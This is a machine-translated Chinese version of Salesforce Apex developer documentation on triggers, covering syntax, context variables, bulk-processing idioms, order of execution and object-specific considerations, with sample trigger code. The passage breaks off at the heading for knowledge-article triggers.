触发器

可以使用触发器调用 Apex。Apex 触发器使您能够执行 在更改 Salesforce 记录之前或之后执行自定义操作,例如插入、更新或 删除。触发器是在以下类型的操作之前或之后执行的 Apex 代码:

  • 插入
  • 更新
  • 删除
  • 合并
  • 更新插入
  • 取消删除

例如,您可以在将对象的记录插入到 数据库,在删除记录之后,甚至在从回收中恢复记录之后 站。

您可以为支持触发器的顶级标准对象定义触发器,例如 联系人或客户、一些标准子对象(如 CaseComment)和自定义对象。 要定义触发器,请从触发其对象的对象管理设置中 想要访问,请转到触发器。有两种类型的触发器:

  • 在触发器用于更新或验证记录值之前 保存到数据库。
  • 使用触发器访问系统设置的字段值后 (例如记录或字段),并影响其他 记录,例如登录到审计表或异步触发 具有队列的事件。触发后触发器的记录是 只读。IdLastModifiedDate

触发器还可以修改与最初触发的记录类型相同的其他记录 触发器。例如,如果在更新联系人后触发触发器, 触发器还可以修改联系人 、 和 。因为触发器可能会导致其他记录更改,并且因为这些 反过来,更改可以触发更多触发器,Apex 运行时引擎会考虑所有这些 操作单个工作单元,并对可以 执行以防止无限递归。请参阅执行调控器和限制。

此外,如果在触发器之前更新或删除记录,或者删除 触发后,您将收到运行时错误。这包括直接和间接 操作。例如,如果更新帐户,则更新之前 触发帐户插入联系人,以及之后 插入客户联系人查询的触发器和 使用 DML 语句或数据库对其进行更新 方法,那么您正在间接更新其触发器中的帐户, 您将收到运行时错误。

实施注意事项

在创建触发器之前,请考虑以下事项:

  • upsert触发器在触发器之前和之后或触发器之前和之后触发。insertupdate
  • merge触发器在丢失记录之前和之后都会触发,并且在之前都会触发 以及触发获胜记录之后。 请参阅触发器和合并 语句。deleteupdate
  • 在取消删除记录后执行的触发器仅适用于特定对象。 查看触发器和恢复 记录。
  • 在触发器结束之前,不会记录字段历史记录。如果在 触发器时,您看不到当前交易的任何历史记录。
  • 字段历史记录跟踪遵循 当前用户。如果当前用户没有直接编辑对象的权限,或者 字段,但用户激活了一个触发器,该触发器使用历史记录更改对象或字段 启用跟踪后,不会记录任何更改历史记录。
  • 标注必须从触发器异步进行,以便触发器进程不会 在等待外部服务的响应时被阻止。异步标注是 在后台进程中制作,并在外部服务收到响应 返回它。要进行异步标注,请使用异步 Apex,例如 future 方法。有关更多信息,请参阅使用 Apex 调用标注。
  • 在 API 版本 20.0 及更早版本中,如果批量 API 请求导致触发器触发,则每个 触发器要处理的 200 条记录的块被拆分为 100 条记录的块。在 Salesforce API 版本 21.0 及更高版本,不会发生进一步的 API 区块拆分。如果批量 API 请求导致触发器多次触发 200 条记录的块,调控器 在对同一 HTTP 请求的这些触发器调用之间重置限制。
  1. 批量触发器
  2. 触发器语法
  3. 触发上下文变量
  4. 上下文变量注意事项
  5. 常见的批量触发习惯用语
  6. 定义触发器
  7. 触发器和合并语句
  8. 触发器和恢复的记录
  9. 触发器和执行顺序
  10. 不调用触发器的操作
    某些操作不调用触发器。
  11. 触发器中的实体和字段注意事项 创建触发器
    时,请考虑某些实体、字段和操作的行为。
  12. Chatter 对象的触发器 您可以为 FeedItem 和 FeedComment 对象
    编写触发器。
  13. 知识文章
    的触发器注意事项 可以为 KnowledgeArticleVersion 对象编写触发器。了解何时可以使用触发器,以及哪些操作不会触发触发器,例如存档文章。
  14. 触发异常
  15. 触发器和批量请求最佳实践

批量触发器

默认情况下,所有触发器都是批量触发器,并且可以同时处理多条记录 时间。您应始终计划一次处理多条记录。

注意

定义为重复的 Event 对象不会针对 、 或 触发器进行批量处理。insertdeleteupdate批量触发器可以处理单个记录更新和批量操作,例如:

  • 数据导入
  • Lightning 平台批量 API 调用
  • 批量操作,例如记录所有者更改和删除
  • 调用批量 DML 语句的递归 Apex 方法和触发器

触发器语法

定义 触发器,请使用以下命令 语法:

trigger TriggerName on ObjectName (trigger_events) {
                     code_block
                     }

其中可以是一个或多个逗号分隔的列表 以下事件:

trigger_events

  • before insert
  • before update
  • before delete
  • after insert
  • after update
  • after delete
  • after undelete

注意

  • 由 、 或 重复事件调用的触发器,或者 调用触发器时,重复任务会导致运行时错误 从 Lightning 平台 API 批量。insertdeleteupdate
  • 假设您使用插入后或更新后触发器来更改 潜在顾客、联系人或商机的所有权。如果您使用 API 执行以下操作 更改记录所有权,或者如果 Lightning Experience 用户更改了 记录的所有者,则不会发送电子邮件通知。发送电子邮件 通知记录的新所有者,将属性设置为 DMLOptions 更改为 .triggerUserEmailtrue

例如,以下代码定义了 Account 上 和 事件的触发器 对象:before insertbefore update

trigger myAccountTrigger on Account (before insert, before update) {
    // Your code here
}

触发器的代码块不能包含关键字。触发器只能 包含适用于内部类的关键字。此外,你做 无需手动提交触发器所做的任何数据库更改。static如果 Apex 触发器成功完成,则会自动更改任何数据库 承诺。如果您的 Apex 触发器未成功完成,则对 数据库已回滚。

触发上下文变量

所有触发器都定义了允许开发人员使用的隐式变量 以访问运行时上下文。这些变量包含在类中。System.Trigger

变量用法
isExecuting如果 Apex 代码的当前上下文是触发器,则返回 true, 不是 Visualforce 页面、Web 服务或 API 调用。executeanonymous()
isInsert如果此触发器,则返回 由于 Salesforce 用户的插入操作而触发 接口、Apex 或 API。true
isUpdate如果此触发器,则返回 由于 Salesforce 用户的更新操作而触发 接口、Apex 或 API。true
isDelete如果此触发器,则返回 由于删除操作而触发,从 Salesforce 用户界面, Apex 或 API。true
isBefore如果此触发器,则返回 在保存任何记录之前就被解雇了。true
isAfter如果此触发器,则返回 在保存所有记录后被解雇。true
isUndelete如果此触发器,则返回 在从回收站中恢复记录后被触发。这 在 Salesforce 用户执行撤消删除操作后,可能会发生恢复 接口、Apex 或 API。true
new返回 sObject 记录的新版本的列表。这 sObject 列表仅在 、 、 中可用 和触发器,以及 只能在触发器中修改记录。insertupdateundeletebefore
newMap指向 sObject 记录新版本的 ID 的映射。这张地图 仅在 、 、 和 触发器中可用。before updateafter insertafter updateafter undelete
old返回旧版本的 sObject 记录的列表。这 sObject 列表仅在 和 触发器中可用。updatedelete
oldMap旧版本的 sObject 记录的 ID 映射。这张地图 仅在 和 触发器中可用。updatedelete
operationType返回 System.TriggerOperation 类型的枚举,对应于 当前操作。System.TriggerOperation 枚举的可能值 分别是:、、,, , ,和。如果您改变您的 基于不同触发器类型的编程逻辑,考虑使用 带有 唯一触发器执行枚举的不同排列 国家。BEFORE_INSERTBEFORE_UPDATEBEFORE_DELETEAFTER_INSERTAFTER_UPDATEAFTER_DELETEAFTER_UNDELETEswitch
size触发器调用中的记录总数,包括旧的和 新增功能。

注意

触发触发器的记录可以包含无效字段 value,例如除以零的公式。在本例中,字段值在以下变量中设置为:null

  • new
  • newMap
  • old
  • oldMap

例如,在这个简单的触发器中,是一个可以迭代的 sObject 列表 循环过来。它也可以用作绑定 变量。Trigger.newforIN

Trigger simpleTrigger on Account (after insert) {
    for (Account a : Trigger.new) {
        // Iterate over each sObject
    }

    // This single query finds every contact that is associated with any of the
    // triggering accounts. Note that although Trigger.new is a collection of  
    // records, when used as a bind variable in a SOQL query, Apex automatically
    // transforms the list of records into a list of corresponding Ids.
    Contact[] cons = [SELECT LastName FROM Contact
                      WHERE AccountId IN :Trigger.new];
}

此触发器使用布尔上下文变量(如 和)来定义仅执行的代码 对于特定的触发条件:Trigger.isBeforeTrigger.isDelete

trigger myAccountTrigger on Account(before delete, before insert, before update, 
                                    after delete, after insert, after update) {
if (Trigger.isBefore) {
    if (Trigger.isDelete) {

        // In a before delete trigger, the trigger accesses the records that will be
        // deleted with the Trigger.old list.
        for (Account a : Trigger.old) {
            if (a.name != 'okToDelete') {
                a.addError('You can\'t delete this record!');
            } 
        }
    } else {

    // In before insert or before update triggers, the trigger accesses the new records
    // with the Trigger.new list.
        for (Account a : Trigger.new) {
            if (a.name == 'bad') {
                a.name.addError('Bad name');
            }
    }
    if (Trigger.isInsert) {
        for (Account a : Trigger.new) {
            System.assertEquals('xxx', a.accountNumber); 
            System.assertEquals('industry', a.industry); 
            System.assertEquals(100, a.numberofemployees);
            System.assertEquals(100.0, a.annualrevenue);
            a.accountNumber = 'yyy';
        }

// If the trigger is not a before trigger, it must be an after trigger.
} else {
    if (Trigger.isInsert) {
        List<Contact> contacts = new List<Contact>();
        for (Account a : Trigger.new) {        
            if(a.Name == 'makeContact') {
                contacts.add(new Contact (LastName = a.Name,
                                          AccountId = a.Id));
            }
        } 
      insert contacts;
    }
  }
}}}

上下文变量注意事项

请注意触发器上下文变量的以下注意事项:

  • trigger.new并且不能用于 Apex DML 操作。trigger.old
  • 您可以使用对象来更改其自己的字段值,但只能在触发器之前使用。在所有触发器之后,不会保存,因此运行时异常是 扔。trigger.newtrigger.new
  • trigger.old始终是只读的。
  • 您无法删除 .trigger.new

下表列出了有关不同触发器事件中某些操作的注意事项:

触发事件可以使用以下方法更改字段trigger.new可以使用更新 DML 操作更新原始对象可以使用删除 DML 操作删除原始对象
before insert允许。不適用。原始对象尚未创建; 没有任何东西可以引用它,所以没有任何东西可以更新它。不適用。原始对象尚未创建;没有什么可以引用它,所以 没有什么可以更新它。
after insert不允许。抛出运行时错误,就像已经保存的那样。trigger.new允许。允许,但不是必需的。对象在被删除后立即被删除 插入。
before update允许。不允许。引发运行时错误。不允许。引发运行时错误。
after update不允许。抛出运行时错误,就像已经保存的那样。trigger.new允许。即使糟糕的代码可能会导致无限递归错误地执行此操作, 该错误将由调控器限制发现。允许。更新在删除对象之前保存,因此,如果对象是 取消删除后,更新将变为可见。
before delete不允许。引发运行时错误。 在删除触发器之前不可用。trigger.new允许。更新在删除对象之前保存,因此,如果对象是 取消删除后,更新将变为可见。不允许。引发运行时错误。删除操作已在进行中。
after delete不允许。引发运行时错误。 在删除后触发器中不可用。trigger.new不適用。该对象已被删除。不適用。该对象已被删除。
after undelete不允许。引发运行时错误。允许。允许,但不是必需的。对象在被删除后立即被删除 插入。

常见的批量触发习惯用语

尽管批量触发器允许开发人员处理更多记录 在不超出执行调控器限制的情况下,它们可能会更加困难 供开发人员理解和编码,因为它们涉及处理 一次批处理多条记录。以下各节提供 写作时应经常使用的成语示例 散装。

在批量触发器中使用映射和集

设置 和 MAP 数据结构对于成功进行批量编码至关重要 触发器。集可用于隔离不同的记录,而映射 可用于保存按记录 ID 组织的查询结果。

为 例如,此批量触发器首先来自示例引用应用程序 添加与 OpportunityLineItem 关联的每个价目表条目 记录到 一个集合,确保该集合仅包含不同的元素。然后 查询 PricebookEntries 以获取其关联的产品颜色,以及 将结果放置在地图中。创建地图后,触发器 循环访问 中的 OpportunityLineItems,并使用映射来分配 适当的颜色。Trigger.newTrigger.new

// When a new line item is added to an opportunity, this trigger copies the value of the
// associated product's color to the new record.
trigger oppLineTrigger on OpportunityLineItem (before insert) {

    // For every OpportunityLineItem record, add its associated pricebook entry
    // to a set so there are no duplicates.
    Set<Id> pbeIds = new Set<Id>();
    for (OpportunityLineItem oli : Trigger.new) 
        pbeIds.add(oli.pricebookentryid);

    // Query the PricebookEntries for their associated product color and place the results
    // in a map.
    Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>(
        [select product2.color__c from pricebookentry 
         where id in :pbeIds]);
         
    // Now use the map to set the appropriate color on every OpportunityLineItem processed
    // by the trigger.
    for (OpportunityLineItem oli : Trigger.new) 
        oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c;  
}

在批量触发器中将记录与查询结果相关联

使用 和 ID to-sObject 映射以将记录与查询结果相关联。例如,此触发器 从示例引用应用程序用于创建一组唯一 ID ()。然后,该集用作查询的一部分,以创建报价列表 与触发器正在处理的商机相关联。 对于查询返回的每个报价,相关的商机是 检索自并防止被删除:Trigger.newMapTrigger.oldMapTrigger.oldMapTrigger.oldMap.keySet()Trigger.oldMap

trigger oppTrigger on Opportunity (before delete) {
    for (Quote__c q : [SELECT opportunity__c FROM quote__c 
                       WHERE opportunity__c IN :Trigger.oldMap.keySet()]) {
        Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete 
                                                       opportunity with a quote');
    }
}

使用触发器插入或更新具有唯一值的记录 领域

当 或 事件导致 在另一条新记录中复制唯一字段值的记录 在该批处理中,重复记录的错误消息包括 第一条记录的 ID。但是,错误可能是 请求完成时,消息可能不正确。insertupsert

当存在触发器时,批量操作中的重试逻辑 导致发生回滚/重试周期。该重试周期会分配新的 新记录的键。例如,如果插入了两条记录 具有唯一字段的相同值,并且您还为触发器定义了一个事件, 第二条重复记录失败,报告第一条记录的 ID。 但是,一旦系统回滚更改并重新插入 第一条记录本身,该记录将收到一个新 ID。这意味着 第二条记录报告的错误消息不再有效。insert

定义触发器

触发器代码作为元数据存储在与其关联的对象下。要定义一个 Salesforce 中的触发器:

  1. 从要触发其对象的对象的对象管理设置中 访问,转到触发器。提示对于 Attachment、ContentDocument 和 Note 标准对象,无法创建 Salesforce 用户界面中的触发器。对于这些对象,创建一个触发器 使用开发工具,例如开发人员控制台或 Salesforce Visual Studio Code 的扩展。或者,您也可以使用元数据 应用程序接口。
  2. 在“触发器”列表中,单击“新建”。
  3. 要指定 Apex 的版本和用于此触发器的 API,请单击“版本” 设置。如果您的组织已从 AppExchange,您还可以指定要使用的每个托管软件包的版本 使用此触发器。将触发器与最新版本的 Apex 关联,然后 API 和每个托管包,使用所有版本的默认值。你 如果要访问组件,可以指定旧版本的托管包 或与最新包版本不同的功能。
  4. 单击 Apex Trigger,然后选中 Is Active 复选框,如果您 想要编译并启用触发器。如果仅 想要将代码存储在组织的元数据中。此复选框由 违约。
  5. 在正文文本框中,输入触发器的顶点。单个 触发器的长度最多为 100 万个字符。定义 触发器,请使用以下命令 语法:trigger TriggerName on ObjectName (trigger_events) { code_block }其中可以是一个或多个逗号分隔的列表 以下事件:trigger_events
    • before insert
    • before update
    • before delete
    • after insert
    • after update
    • after delete
    • after undelete
    注意
    • 由 、 或 重复事件调用的触发器,或者 调用触发器时,重复任务会导致运行时错误 从 Lightning 平台 API 批量。insertdeleteupdate
    • 假设您使用插入后或更新后触发器来更改 潜在顾客、联系人或商机的所有权。如果您使用 API 执行以下操作 更改记录所有权,或者如果 Lightning Experience 用户更改了 记录的所有者,则不会发送电子邮件通知。发送电子邮件 通知记录的新所有者,将属性设置为 DMLOptions 更改为 .triggerUserEmailtrue
  6. 点击保存

注意

触发器使用设置为 只要依赖元数据自上次编译触发器以来未更改。如果有的话 对触发器中使用的对象名称或字段进行更改,包括 表面更改(例如对对象或字段描述的编辑),该标志将设置为直到 Apex 编译器重新处理代码。重新编译发生在以下情况下 触发器将在下次执行时执行,或者当用户在元数据中重新保存触发器时执行。isValidtrueisValidfalse

如果 查找字段引用已删除的记录,Salesforce 将清除 默认的查找字段。或者,您可以选择阻止记录 如果它们处于查找关系中,则删除。

Apex 触发器编辑器

Apex 和 Visualforce 编辑器具有以下功能:语法高亮显示编辑器会自动对关键字和所有关键字应用语法高亮显示 函数和运算符。搜索 (Search icon)通过搜索,可以在当前页面、类或 触发。若要使用搜索,请在“搜索”文本框中输入字符串,然后单击“查找下一个”。

  • 要将找到的搜索字符串替换为另一个字符串,请输入新的 字符串,然后单击“替换”以仅替换该实例,或单击“全部替换”以替换该实例,然后单击“全部替换”以替换该实例,然后单击“替换” 页面中出现的搜索字符串的所有其他实例, 类或触发器。
  • 若要使搜索操作区分大小写,请选择“匹配大小写”选项。
  • 若要使用正则表达式作为搜索字符串,请选择“正则表达式”选项。常规 表达式遵循 JavaScript 的正则表达式规则。搜索 使用正则表达式可以找到换行超过 一行。如果将 replace 操作与 找到的字符串一起使用 一个正则表达式,替换操作也可以绑定 正则表达式组变量(、 等) 找到搜索字符串。例如,要将标签替换为标签,并保留所有 属性对原来完好无损,搜索并替换它 跟。$1$2<h1><h2><h1><h1(\s+)(.*)><h2$1$2>

转到行
此按钮允许您突出显示指定的行号。如果该行是 当前不可见,编辑器将滚动到该行。
撤消 和重做
使用撤消可撤消编辑操作,使用重做可重新创建编辑操作 那被撤消了。
字体大小
从下拉列表中选择字体大小以控制 编辑器中显示的字符。
行和列位置
光标的行和列位置显示在状态栏中 编辑器的底部。这可以与转到行 (Go To Line icon) 一起使用,以快速浏览编辑器。
行数和字符数
行数和字符总数显示在状态栏中 编辑器的底部。

触发器和合并语句

合并事件不会触发自己的触发事件。相反,他们 触发删除和更新事件,如下所示:删除丢失的记录单个合并操作会为所有记录触发单个删除事件 在合并中删除的。确定删除了哪些记录 合并操作的结果是使用 中的字段。在丢失合并后删除记录时 操作,则其字段设置为中奖记录的 ID。该字段仅设置 在触发事件中。 如果您的应用程序需要对已删除的记录进行特殊处理 由于合并而发生,则需要使用 Trigger 事件。MasterRecordIdTrigger.oldMasterRecordIdMasterRecordIdafter deleteafter delete更新中奖记录单个合并操作会为获胜的单个更新事件触发 仅记录。由于以下原因而重新设置父级的任何子记录 合并操作不会触发触发器。

例如,如果合并了两个联系人,则只有删除和更新 接触触发火灾。没有触发与联系人相关的记录, 如客户或商机,火。以下是合并发生时事件的顺序:

  1. 触发器 火灾。before delete
  2. 系统会因合并而删除必要的记录,分配 新的父记录到子记录,并在已删除的 记录。MasterRecordId
  3. 触发器 火灾。after delete
  4. 系统执行主记录所需的特定更新。 正常的更新触发器适用。

触发器和恢复的记录

触发事件仅适用于 恢复的记录 – 即已删除然后从回收站中恢复的记录 通过 DML 语句。这些也称为 未删除的记录。after undeleteundelete

触发器事件仅在顶级上运行 对象。例如,如果您删除一个帐户,则 Opportunity 也可能被删除。当您恢复时 回收站中的帐户,商机也会被恢复。如果存在与帐户和 Opportunity,只有 Account 触发器 事件执行。after undeleteafter undeleteafter undelete触发器 事件仅针对以下对象触发:

after undelete

  • 客户
  • 资产
  • 运动
  • 个案
  • 联系
  • 内容文档
  • 合同
  • 自定义对象
  • 事件
  • 潜客
  • 机会
  • 产品
  • 解决方案
  • 任务

触发器和执行顺序

当您使用 、 或语句保存记录时,Salesforce 会在某个 次序。insertupdateupsert

在 Salesforce 在服务器上执行这些事件之前,浏览器会运行 JavaScript 验证记录是否包含任何依赖的选择列表字段。验证限制 每个从属选择列表字段设置为其可用值。不会对 客户端。

注意

有关执行顺序的图示表示形式,请参阅执行顺序 Salesforce Architects 网站上的概述。这 diagram 特定于其上指示的 API 版本,并且可能与 信息在这里。此 Apex 开发人员指南页面包含最新的 有关此 API 版本的执行顺序的信息。访问其他 API 版本,请使用 Apex 开发人员的版本选择器 指南。

在服务器上,Salesforce 按此顺序执行事件。

  1. 从数据库加载原始记录或初始化语句的记录。upsert
  2. 从请求中加载新的记录字段值并覆盖旧的记录字段值 值。Salesforce 根据类型执行不同的验证检查 的请求。
    • 对于来自标准 UI 编辑页面的请求,Salesforce 会运行这些系统 对记录进行验证检查:
      • 符合特定于布局的规则
      • 布局级别和字段定义的必需值 水平
      • 有效字段格式
      • 最大视场长度
      此外,如果请求来自标准上的 User 对象 UI 编辑页面,Salesforce 运行自定义验证规则。
    • 对于来自创建多行项目(例如报价单项目)的请求,以及 商机行项时,Salesforce 会运行自定义验证规则。
    • 对于来自其他来源(如 Apex 应用程序或 SOAP)的请求 API 调用时,Salesforce 仅验证外键并受限制 选择列表。在执行触发器之前,Salesforce 会验证任何 自定义外键不引用对象本身。
  3. 执行记录触发的流,这些流配置为在记录之前运行 保存。
  4. 执行所有触发器。before
  5. 再次运行大多数系统验证步骤,例如验证所有必需的步骤 字段具有非值,并运行 任何自定义验证规则。Salesforce 唯一没有的系统验证 第二次运行(当请求来自标准 UI 编辑页面时)是 强制执行特定于布局的规则。null
  6. 执行重复的规则。如果重复规则将记录标识为 复制并使用阻止操作,则不会保存记录,也不会进一步保存 步骤,例如触发器和 工作流规则,被采用。after
  7. 将记录保存到数据库,但尚未提交。
  8. 执行所有触发器。after
  9. 执行分配规则。
  10. 执行自动响应规则。
  11. 执行工作流规则。如果有工作流字段更新:注意这个序列 仅适用于工作流规则。
    1. 再次更新记录。
    2. 再次运行系统验证。自定义验证规则、流程、重复 规则、流程和升级规则不会再次运行。
    3. 执行触发器 和触发器, 无论记录操作如何(插入或更新),再进行一次 (而且只有一次)before updateafter update
  12. 执行升级规则。
  13. 执行这些 Salesforce Flow 自动化,但不是按保证的顺序执行。
    • 过程
    • 进程启动的流
    • 工作流规则启动的流(流触发器 工作流操作试点)
    当进程或流执行 DML 操作时,受影响的记录 完成保存过程。
  14. 执行记录触发的流,这些流配置为在记录 保存
  15. 执行授权规则。
  16. 如果记录包含汇总摘要字段或属于跨对象 工作流,执行计算并更新 父记录。父记录经过保存过程。
  17. 如果父记录已更新,并且祖父级记录包含汇总 摘要字段或是跨对象工作流的一部分,执行计算和 更新祖父母记录中的汇总摘要字段。祖父母记录 完成保存过程。
  18. 执行基于条件的共享评估。
  19. 将所有 DML 操作提交到数据库。
  20. 将更改提交到数据库后,执行提交后逻辑是 执行。提交后逻辑的示例(排名不分先后)包括:
    • 发送电子邮件
    • 排队的异步 Apex 作业,包括可排队的作业和未来的 方法
    • 记录触发流中的异步路径

注意

在递归保存期间,Salesforce 会跳过第 9 步(分配规则)到 17 (祖父母记录中的汇总摘要字段)。

其他注意事项

使用触发器时,请注意以下注意事项。

  • 如果工作流规则字段更新由记录更新触发,则不会保存新更新的 字段。相反,在初始记录更新之前保留对象 䍬。例如,现有记录具有一个初始值的数字字段 的 1.用户将此字段更新为 10,并触发工作流规则字段更新 并将其递增为 11。在工作流字段更新后触发的触发器中, 从中获取的对象是 原始值为 1,而不是 10。请参阅更新前后的 Trigger.old 值 触发器。Trigger.oldTrigger.oldupdateTrigger.old
  • 如果在允许部分成功的情况下进行 DML 调用,则会在 第一次尝试,并在随后的尝试中再次发射。因为这些 触发器调用是同一事务的一部分,静态类变量 触发器访问的不会重置。请参阅批量 DML 异常处理。
  • 如果在同一个事件的对象上定义了多个触发器,则顺序 不保证触发器的执行。例如,如果 Case 有两个触发器,一个新的触发器 插入案例记录。这两个触发器的触发顺序不是 保证。before insert
  • 了解在 将联系人关联到多个帐户的组织,请参阅 AccountContactRelation。
  • 了解执行顺序 使用触发器设置阶段和预测类别, 请参阅商机。before
  • 在 API 版本 53.0 及更早版本中,保存后记录触发的流在 权利被执行。

不调用触发器的操作

某些操作不会调用触发器。触发器是为 Java 应用程序服务器启动或处理。因此,某些系统批量操作不会调用 触发器。一些例子包括:

  • 级联删除操作。未启动的记录不会导致触发器评估。delete
  • 由于合并而重新设置父级的子记录的级联更新 操作
  • 大规模广告系列状态更改
  • 分质转移
  • 群发地址更新
  • 批量批准请求转移
  • 群发电子邮件操作
  • 修改自定义字段数据类型
  • 重命名或替换选择列表
  • 管理价目表
  • 在选中传输分部选项的情况下更改用户的默认分部
  • 对以下对象的更改:
    • 品牌模板
    • MassEmailTemplate(马斯电子邮件模板)
    • 文件夹
  • 更新帐户触发器不会在企业帐户记录类型之前或之后触发 更改为个人帐户(或个人帐户记录类型更改为业务 帐户。
  • 当计数器增加时,更新触发器不会触发。FeedItemLikeCount

注意

在个人帐户上插入、更新和删除会触发帐户触发器,而不是联系人 触发器。与以下内容关联的触发器 仅当潜在客户的验证和触发时,才会在潜在客户转换期间触发操作 在组织中启用转换:

before

  • insert客户、联系人和 机会
  • update客户和联系人数量

当帐户所有者因 关联商机的所有者正在更改。

在以下情况下,不会触发 and 触发器和验证规则:beforeafter

  • 在商机上修改商机产品。
  • 商机产品计划会更改商机产品,即使商机 产品改变机会。

但是,汇总摘要字段确实会更新,并且与 机会确实在运行。

触发器中不允许使用 和 PageReference 方法。getContentgetContentAsPDF

请注意 ContentVersion 对象的以下事项:

  • 涉及 ContentVersion 对象的内容包操作,包括幻灯片和幻灯片 autorevision,不要调用触发器。注意当幻灯片内的内容包被修改时 包已修订。
  • TagCsv 和 VersionData 字段的值为 仅当请求创建或更新 ContentVersion 记录时,触发器中才可用 源自 API。
  • 不能将 ContentVersion 对象与 ContentVersion 对象一起使用或触发器。beforeafter delete

在以下情况下,不会触发 Attachment 对象上的触发器:

  • 附件是通过案例源发布者创建的。
  • 用户通过“电子邮件相关”列表发送电子邮件并添加附件文件。

当通过 Email-to-Case 或 UI 创建 Attachment 对象时,触发器将触发。

触发器中的实体和字段注意事项

创建触发器时,请考虑某些实体、字段和 操作。

QuestionDataCategorySelection 实体在插入后不可用 触发器

触发后触发的触发器 插入一条或多条记录 无权访问与 插入 s。例如, 以下查询不会在触发器中返回任何结果:

after insertQuestionQuestionDataCategorySelectionQuestionafter insert

QuestionDataCategorySelection[] dcList = 
    [select Id,DataCategoryName from QuestionDataCategorySelection where ParentId IN :questions];

在触发器之前不可更新的字段

某些字段值是在触发器触发后发生的系统保存操作期间设置的。作为 结果,这些字段无法在 OR 触发器中修改或准确检测。一些例子包括:

beforebefore insertbefore update

  • Task.isClosed
  • Opportunity.amount*
  • Opportunity.ForecastCategory
  • Opportunity.isWon
  • Opportunity.isClosed
  • Contract.activatedDate
  • Contract.activatedById
  • Case.isClosed
  • Solution.isReviewed
  • Id(所有记录)**
  • createdDate(对于所有人 记录)**
  • lastUpdated(所有记录)
  • Event.WhoId(当共享活动 已启用)
  • Task.WhoId(当共享活动 已启用)

* 当没有时,可以通过触发器进行修改。OpportunitylineitemsAmountbefore

** Id并且可以在触发器中检测到,但无法修改。createdDatebefore update

触发后无法更新的字段

以下字段不能由 或 触发器更新。after insertafter update

  • Event.WhoId
  • Task.WhoId

插入和更新触发器中事件日期时间字段的注意事项

我们建议使用以下日期和时间字段来创建或更新事件。

  • 创建或更新定时事件时,请使用以避免日期和时间不一致的问题 值。ActivityDateTime
  • 创建或更新全天活动时,请使用以避免日期和时间不一致的问题 值。ActivityDate
  • 我们建议您使用,因为它适用于所有更新和为事件创建。DurationInMinutes

插入和更新触发器中不支持的操作

和触发器不支持以下操作。insertupdate

  • 通过 or 对象操作活动关系(如果启用了共享活动)TaskRelationEventRelation
  • 通过对象操作组事件的受邀者关系,无论是否共享 活动已启用Invitee

取消删除后触发器中不支持的实体

某些对象无法还原,因此不应具有触发器。

after undelete

  • 协作组
  • 协作组成员
  • 饲料项目
  • FeedComment (英语)

更新触发器的注意事项

字段历史记录跟踪遵循当前用户的权限。 如果当前用户没有直接编辑对象或字段的权限,但 用户激活一个触发器,该触发器通过历史跟踪更改对象或字段 启用后,不会记录任何更改历史记录。

Salesforce for Outlook 的 Salesforce 侧面板的注意事项

当使用 Salesforce 侧面板将电子邮件关联到记录时 Salesforce for Outlook,电子邮件关联在任务记录的 or 字段中表示。关联在 任务已创建,因此 和 字段不会立即创建 可用于插入和更新的任务触发器 事件,其值最初是 。 和字段在后续任务记录中对保存的任务记录进行设置 但是,操作,以便以后可以检索其值。WhoId WhatId Task.WhoId Task.WhatId before after null WhoId WhatId

Chatter 对象的触发器

可以为 FeedItem 和 FeedComment 对象编写触发器。

FeedItem、FeedAttachment 和 FeedComment 的触发注意事项

  • 只能插入 、 、 、 和 类型的 FeedItems,因此可以调用 or 触发器。用户状态更新不会导致 FeedItem 触发触发器。TextPostQuestionPostLinkPostHasLinkContentPostHasContentbeforeafter insert
  • 虽然 API 版本 18.0、19.0 和 20.0 支持 FeedPost 对象, 不要使用针对 21.0 之前的版本保存的任何插入或删除触发器。
  • 对于 FeedItem,触发器中不提供以下字段:before insert
    • 内容大小
    • 内容类型
    此外,ContentData 字段不可用 在任何删除触发器中。
  • FeedItem 对象上的触发器在其 附件和功能信息被保存,这意味着信息和信息可能不会被保存 在触发器中可用。ConnectApi.FeedItem.attachmentConnectApi.FeedElement.capabilities附件和功能信息可能无法从以下位置获得 方法: 和ConnectApi.ChatterFeeds.getFeedItemConnectApi.ChatterFeeds.getFeedElementConnectApi.ChatterFeeds.getFeedPollConnectApi.ChatterFeeds.getFeedElementPollConnectApi.ChatterFeeds.postFeedItemConnectApi.ChatterFeeds.postFeedElementConnectApi.ChatterFeeds.shareFeedItemConnectApi.ChatterFeeds.shareFeedElementConnectApi.ChatterFeeds.voteOnFeedPollConnectApi.ChatterFeeds.voteOnFeedElementPoll
  • FeedAttachment 不是可触发的对象。您可以在 FeedItem 更新通过 SOQL 查询触发。为 例:trigger FeedItemTrigger on FeedItem (after update) { List<FeedAttachment> attachments = [SELECT Id, Title, Type, FeedEntityId FROM FeedAttachment WHERE FeedEntityId IN :Trigger.new ]; for (FeedAttachment attachment : attachments) { System.debug(attachment.Type); } }
  • 插入带有关联附件的源项时,FeedItem 为 首先插入,然后创建 FeedAttachment 记录。更新源时 项目,则首先插入 FeedAttachment 记录, 然后更新 FeedItem。由于这一系列操作,在 Salesforce Classic FeedAttachment 在 和 触发器中可用。当通过 Lightning Experience 完成附件时,它是 在 和 触发器中均可用;但在触发器中,使用 future 方法 访问 FeedAttachments。UpdateAfterInsertUpdateAfterInsertAfterInsert
  • 以下源附件操作会导致触发 FeedItem 更新触发器。
    • 将 FeedAttachment 添加到 FeedItem 中,并使 FeedItem 类型 改变。
    • 从 FeedItem 中删除 FeedAttachment 并导致 FeedItem 类型 来改变。
  • 插入或更新 FeedAttachment 时,不会触发 FeedItem 触发器 不会导致关联的 FeedItem 发生更改。
  • 不能在更新更新后 FeedItem 触发器中插入、更新或删除 FeedAttachments。
  • 对于插入插入后触发的 FeedComment, 与 FeedComment 关联的 ContentVersion 字段(通过 获取)不是 可用。FeedComment.RelatedRecordId

其他 Chatter 触发器注意事项

  • Apex 代码在 Chatter 上下文中执行时会使用额外的安全性。要发布到 专用组,则运行代码的用户必须是该组的成员。如果 running user 不是成员,可以将 CreatedById 字段设置为 FeedItem 记录中组的成员。
  • 更新 CollaborationGroupMember 时, CollaborationGroup 也会自动更新,以确保成员 计数是正确的。因此,当 CollaborationGroupMember 或触发器运行时,CollaborationGroup 触发器也会运行。updatedeleteupdate

知识文章的触发注意事项

